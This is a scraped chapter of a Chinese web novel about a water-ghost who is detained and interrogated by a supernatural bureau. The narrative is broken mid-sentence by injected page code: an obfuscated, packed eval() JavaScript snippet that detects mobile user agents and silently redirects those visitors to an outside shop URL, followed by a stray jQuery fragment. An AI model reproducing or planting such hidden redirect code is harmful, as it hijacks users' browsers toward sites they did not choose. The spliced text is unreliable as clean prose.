文趣网 > 其他小说 > 水鬼也要贴贴 > 19. 第 19 章
    脚步声逼近,一行人出现在江荻和周晋的视野中。

    江荻歪头打量了一阵,是人类不错,本该放轻松的女鬼不知为何在他们身上察觉到了危险。

    原本张牙舞爪、怎么也不听劝的黑发早已蜷缩起自己的长度,试图降低自己的存在感,乖乖搭在江荻胸前装死。

    他们身上的标志物很眼熟……

    江荻睫毛上下飞舞了几次才想起来——那好像是事务局的标志。

    江荻咬住嘴唇内侧的一小块嫩肉,无意识用牙齿研磨着它,释放内心深处说不上来的压力。

    事务局的人站定后默契地分成两批,整个过程没有什么语言交流。

    一队负责人类——

    检查晕倒在地学生的生命体征;采集身上的气息样本,正所谓“凡经过,必留痕”;鉴别伤口形态……

    晕倒的学生身上难免带有些许伤痕,并不严重,大部分属于正常擦伤。他们身上的鬼气则是由江荻和廖承业两只鬼构成,后者占大头。

    现场唯一保持清醒意志的周晋也做了简单的检测,残留的鬼气使设备的蜂鸣器开始报警。

    周晋身上的鬼气几乎都源自于江荻。

    监测设备看上去有些简陋,但是发出的滴滴声还是让江荻心跳不禁加快了些。

    剩下一队负责鬼——

    说是一队,实则就两个人。躺在地上被吸干宛如死狗的廖承业被粗暴拖走,江荻见此忍不住咽了咽口水。

    直觉告诉她好像要完蛋了,江荻不禁小声为自己抗辩着:“我是好鬼,我没干坏事。”

    事务局外勤组队长很淡漠地瞥了一眼江荻,毫不在意她讲了什么,冷冷地下达着命令:“全都带回局里调查,如有抗拒,可以使用攻击手段,不计后果。”

    队员们出惯了外勤,这话是讲给那女鬼听的。

    实际上,就算对方不这么说,江荻也会老实配合的,坦白从宽、抗拒从严她还是知道的。

    只是,身为鬼的代价就是总是会被误解吗?

    就算什么都不做,但似乎每个人都下意识觉得她会做出伤害人类的事情。

    每一次都会被误会,就算是在救人,也会被认为在害人。

    伤人的罪名早已安好在她身上。

    江荻只是有一点点、一点点伤心。

    临走前,江荻看了一眼周晋,什么都没说。

    周晋这次没有躲开眼神对视,他察觉到女鬼的情绪似乎有些低落。

    张了张嘴不知道该说什么。

    事务局的人歪了歪身子,挡住他看向江荻的视线。

    “可以麻烦你配合我做一些基本调查吗?”

    对方开始询问他一些具体事项,周晋这才收回心神来,认真回答者自己知道的一切,包括廖承业的传闻和今晚的所有细节。

    *

    审讯室和询问室的氛围截然不同,毕竟前者是审嫌疑鬼,后者是问案件受害人。

    冰冷刺眼的灯光打在江荻脸上,晃得她眼睛疼,心底莫名有些烦。

    江荻明显感受到,自从自己进入审讯室之后情绪波动有些异常。但也没放在心上,她不知道这是审讯室的功劳,只以为是因为自己被冤枉了,急于解释自证清白。

    “警察姐姐,我是清白的,我真的没有害人,我是好鬼。”

    湛雨槐是审讯老手了,她不紧不慢地用指尖敲击着特殊材质制成的桌面,眼皮懒懒地掀起来,始终用一种很轻蔑的态度对着江荻。

    “没问你那些。”湛雨槐单刀直入,拒绝听鬼的自我辩白,“姓名、种族、你归哪个辖区的?做登记了吗?”

    江荻老老实实回答:“江荻、现在应该是水鬼、溪湖,之前有登记过。”

    湛雨槐对比手上的资料,女鬼在基础问题上还算老实。

    “溪湖离A大的笃行楼并不近,你也算是地缚灵的一种,为什么今天会离开死亡地点去到那?是路过还是跟踪?”

    “我也不知道,我睡得好好的,一睁眼就到了那……在今天之前我没离开过溪湖附近。”

    “你提前知道今晚会发生什么吗?”

    “你认识廖承业吗?今晚的行动是你们早就策划好的吗?”

    江荻连连摇头。

    “那你怎么解释,为什么你的同类受重伤,在场人类仅一人尚存意识,同时所有人类身上都检测出你的鬼气。而你却毫发无损?”

    “因为我救了他们,不,是我的头发救了他们,所以沾到了我身上的气息。”江荻好看的眉蹙了起来。

    “你说是因为你救了他们,那为什么廖承业偏偏在你出现时才动手攻击?”

    “你不要用巧合来敷衍我。”

    江荻瞬间哑火,这一切本来就是巧合嘛,她哪里知道为什么。

    “你和廖承业有旧怨吗?”湛雨槐饶有兴味地问道,“他刚死不久,有旧怨那就是生前的事喽……”

    江荻的头都要摇成拨浪鼓了,怎么越说越离谱。

    “那就只剩一种可能了,你,溪湖水鬼江荻,习惯夜间出去‘觅食’,和地缚灵廖承业动手的时候波及到了人类,索性顺势伪装成救人?”

    “不是这样的!”一直被误会,江荻心中顿生戾气,黑发悄悄长长了一寸,很快又冷静下来,“我是真的不知道今晚怎么就出现在那了。”

    “呵,不知道?”湛雨槐冷笑一声,压根不信她的鬼话,“那受害人周晋又是怎么进去的?”

    话题跳跃有些大,江荻觉得莫名其妙,老实道:“我说了,我当时在溪湖底,不在现场,我也不知道的呀。”

    “根据受害者的口述,原本廖承业并没有选中他成为猎物,是你——”湛雨槐尖锐的指尖指向江荻,“将他拖进鬼蜮。”

    “还不承认这其实是你的阴谋吗?”

    “我……”江荻哑口无言,她根本不知道自己那缕头发在外给她招惹了多少事。

    含泪背锅的江荻想揪自己头发,可双手被铁铐禁锢得很死,无奈只能放弃。

    “我真的不知道……”江荻词穷了,没读过多少书的她不知道怎么为自己辩解,看吧,这就是死太早的坏处。

    “不知道?好,那为什么受害者们身上都有你的气息?而且是从头到脚都有——”湛雨槐上半身支起,灯光投射出她巨大的影子,让她看上去像是狮群的首领,极具威慑力。

    “救人需要从头到脚包裹住吗?怎么看着不像救人,倒像在吃人呐。”

    “我没有!”江荻不知道今晚自己还要说多少遍,就算她是鬼,也不能代表她要吃人。

    “好啊,你不吃人,那就是食鬼喽?今晚就是你设的局,你故意用活人钓鬼。”

    “蚕食同类以增强自己的力量。”

    江荻叹了一口气,将头靠在桌面上,拒绝再回答问题。

    事实是无论她说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961899|213247||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    什么,对方都不会在乎,偏见一旦产生,便难以轻易消除。

    这个道理她奶奶很早就教给她了。

    湛雨槐合上手中的文件,江荻并非不知从哪冒出来的野鬼,事务局的档案中有收容她的资料,看上去没有什么问题。

    喻青阳办事从来都遵守规则,他给出的鉴定结果是,江荻的危险性极低。

    湛雨槐当然不怀疑喻青阳,但是不免有些好奇,档案上记录了江荻曾有一例伤人记录,那人受到的几乎都是擦伤。

    造成人类大面积擦伤的情况下,还能被鉴定为低危险性吗?

    溪湖在对公众正式开放之前,郑维和陈岩也对她做过评估,事务局出品的诱饵也没有勾起江荻的攻击欲,基本上可以排除江荻有故意伤人的嫌疑。

    而今晚的笃行楼伤人事件,毕竟是跨区域,地缚灵们一般更倾向于在自己的地盘上动手。

    更重要的是,在这件事里,没有出现人员伤亡。

    不然湛雨槐才不会浪费这么多时间和鬼废话,她更喜欢上点硬的,在这一点上湛雨槐很认同巫家的理念。

    湛雨槐看向贯穿整个掌心的伤痕,原本软下的心肠再次硬了起来,鬼有什么好信的,世上最会伪装之物,迟早有一天会藏不住露出马脚。

    没有再和女鬼交谈的心情,既然什么都不愿意交代,那就去无边池泡一泡,明天自然会出结果。

    江荻被送出审讯室的时候还有点懵,怎么不问了呀?

    她还在心里细数不知道的不同表述方式呢。

    但这也不像是要把她送回去的模样,总不会要蹲大牢吧!

    江荻一脸菜色,神色恹恹。

    长长的走廊,人并不多,但每个都很匆忙,鞋底扣在地面上清脆的声响像是在敲打江荻脆弱的神经。

    丁净秋单手拎着自家二姐,丝毫不避讳这是事务局,另一只手和江荻身边的安保人员打招呼。

    江荻偷偷看了她一眼,看到她手上拎的好像是鬼,不免生出一种悲凉,这么小的鬼也要被做成时尚挂件吗?

    那她岂不是……

    小鬼灵猴似的攀上丁净秋的肩头,在她耳边偷偷低喃着什么。

    丁净秋闻言对江荻笑了笑,神秘兮兮地说道:“下次打野食可以带上我哦~合法合规,我有办法不会被那个‘湛’斗狂抓住把柄。”

    江荻听不懂丁净秋在说什么,也不认识这个奇怪的女人,但这不妨碍她对丁净秋回以友好的笑容。

    “安心,就当是泡澡放松啦~”丁净秋看出她要去的方向是无边池,多说了两句宽慰她。

    没有别的原因,丁净秋只是觉得自家姐妹如果能有长大的机会的话,小妹应该和她差不多大。

    机会,总会有的。

    丁净秋脸上的笑容不变,漫不经心地往外走去。

    江荻和丁净秋错开后,一路上再无人搭理她,她老老实实地被带到了一扇门前,这扇门没有顶也没有底,只有侧边一条缝隙。

    门后就是无边池,江荻瞪圆了鹿眼,好大的池子,就是字面意义上的无边,看不到边际。

    那为什么不叫无边海呢?

    江荻正想着,就被安保粗暴地扔进了池子。

    吐出嘴里不小心呛进的水,江荻有些不满。

    “没礼貌!”

    喂,就算她是水鬼,也不能这么对她吧!

    这么扔是会溺水的!